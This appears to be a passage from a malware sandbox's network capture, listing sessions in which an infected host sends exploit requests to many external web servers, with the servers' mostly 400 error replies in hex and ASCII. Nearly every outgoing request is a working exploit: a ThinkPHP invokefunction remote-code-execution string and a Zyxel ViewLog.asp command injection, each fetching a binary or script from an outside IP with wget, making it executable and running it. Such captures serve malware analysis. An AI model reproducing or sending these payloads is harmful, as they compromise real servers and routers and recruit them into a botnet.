"-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.13	48922	88.221.66.48	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:31.840744972 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:32.022046089 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:31 GMT Date: Mon, 04 Mar 2024 14:07:31 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 63 30 65 30 38 63 33 26 23 34 36 3b 31 37 30 39 35 36 31 32 35 31 26 23 34 36 3b 31 31 31 30 38 38 65 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.2c0e08c3.1709561251.111088e9</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.13	39202	95.101.46.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:32.576612949 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:32.746995926 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:07:32 GMT Date: Mon, 04 Mar 2024 14:07:32 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 35 38 66 31 34 30 32 26 23 34 36 3b 31 37 30 39 35 36 31 32 35 32 26 23 34 36 3b 34 39 36 31 32 61 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.a58f1402.1709561252.49612a4</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.13	42090	95.159.68.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:32.643887997 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:32.880475998 CET	159	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=utf-8 Date: Mon, 04 Mar 2024 14:07:32 GMT Connection: close Content-Length: 2959 Data Raw: 3c Data Ascii: <
Mar 4, 2024 15:07:32.880614996 CET	1286	IN	Data Raw: 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 61 63 65 62 6f 6f 6b 20 7c 20 45 72 72 6f 72 Data Ascii: !DOCTYPE html><html lang="en" id="facebook"> <head> <title>Facebook \| Error</title> <meta charset="utf-8"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="cache-control" content="no-store"> <meta h
Mar 4, 2024 15:07:32.880700111 CET	1286	IN	Data Raw: 6b 5f 32 78 2e 70 6e 67 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 63 6f 72 65 22 3e 0a 20 20 20 20 20 20 3c 68 31 20 69 64 3d 22 73 6f 72 72 79 22 3e 53 6f 72 72 79 2c Data Ascii: k_2x.png" /> </a> </div> <div id="core"> <h1 id="sorry">Sorry, something went wrong.</h1> <p id="promise"> We're working on it and we'll get it fixed as soon as we can. </p> <p id="back-link">
Mar 4, 2024 15:07:32.880723000 CET	422	IN	Data Raw: 31 36 70 78 27 3b 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 69 66 20 28 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 20 3c 20 31 35 30 29 20 7b 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 Data Ascii: 16px'; }; if (window.innerWidth < 150) { document.getElementById('promise').style.display = 'none'; }; if (window.innerHeight < 150) { document.getElementById('sorry').style.margin = '4px 0 0 0';

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.13	59818	95.57.54.68	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:32.665422916 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:32.923012018 CET	427	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 20:07:46 GMT Server: Apache X-Frame-Options: DENY Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.13	52162	112.215.83.208	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:33.304037094 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:33.677006006 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:33 GMT Date: Mon, 04 Mar 2024 14:07:33 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 63 35 33 64 37 37 30 26 23 34 36 3b 31 37 30 39 35 36 31 32 35 33 26 23 34 36 3b 39 61 65 64 62 37 38 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.cc53d770.1709561253.9aedb782</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.13	52296	31.200.61.87	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:33.516294003 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.13	37950	112.74.28.191	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:33.681057930 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:34.045097113 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:07:33 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.13	33458	94.121.151.33	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:33.731476068 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.13	49826	95.101.23.104	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:33.835088015 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:34.018794060 CET	478	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 256 Expires: Mon, 04 Mar 2024 14:07:33 GMT Date: Mon, 04 Mar 2024 14:07:33 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 34 31 37 36 35 35 66 26 23 34 36 3b 31 37 30 39 35 36 31 32 35 33 26 23 34 36 3b 31 64 36 61 35 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.6417655f.1709561253.1d6a52</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.13	54302	95.38.146.246	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:33.960500002 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:34.253557920 CET	242	IN	HTTP/1.0 400 Bad Request Connection: close Content-Length: 113 Date: Sat, 15 May 1971 07:56:17 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 400: Bad Request</title></head><body><h1>Error 400: Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.13	40346	88.98.110.223	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:35.451977015 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:35.641268015 CET	339	IN	HTTP/1.0 400 Bad Request Date: Mon, 04 Mar 2024 14:07:35 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.13	46262	88.149.182.244	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:35.458916903 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.13	46242	88.250.118.233	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:35.470088959 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.13	49740	88.149.223.202	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:35.470089912 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:35.677365065 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.13	51038	95.100.148.94	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:35.632652998 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:35.813179970 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:07:35 GMT Date: Mon, 04 Mar 2024 14:07:35 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 35 61 35 37 31 64 34 26 23 34 36 3b 31 37 30 39 35 36 31 32 35 35 26 23 34 36 3b 65 32 33 38 38 62 33 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.15a571d4.1709561255.e2388b3</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.13	55832	95.165.205.254	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:35.849397898 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:36.067589045 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.3 Date: Mon, 04 Mar 2024 14:07:35 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.13	51056	95.100.148.94	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:38.256207943 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:38.448266029 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:07:38 GMT Date: Mon, 04 Mar 2024 14:07:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 35 61 35 37 31 64 34 26 23 34 36 3b 31 37 30 39 35 36 31 32 35 38 26 23 34 36 3b 65 32 33 38 65 62 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.15a571d4.1709561258.e238ebb</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.13	36574	95.101.186.204	80

Timestamp	Bytes transferred	Direction	Data
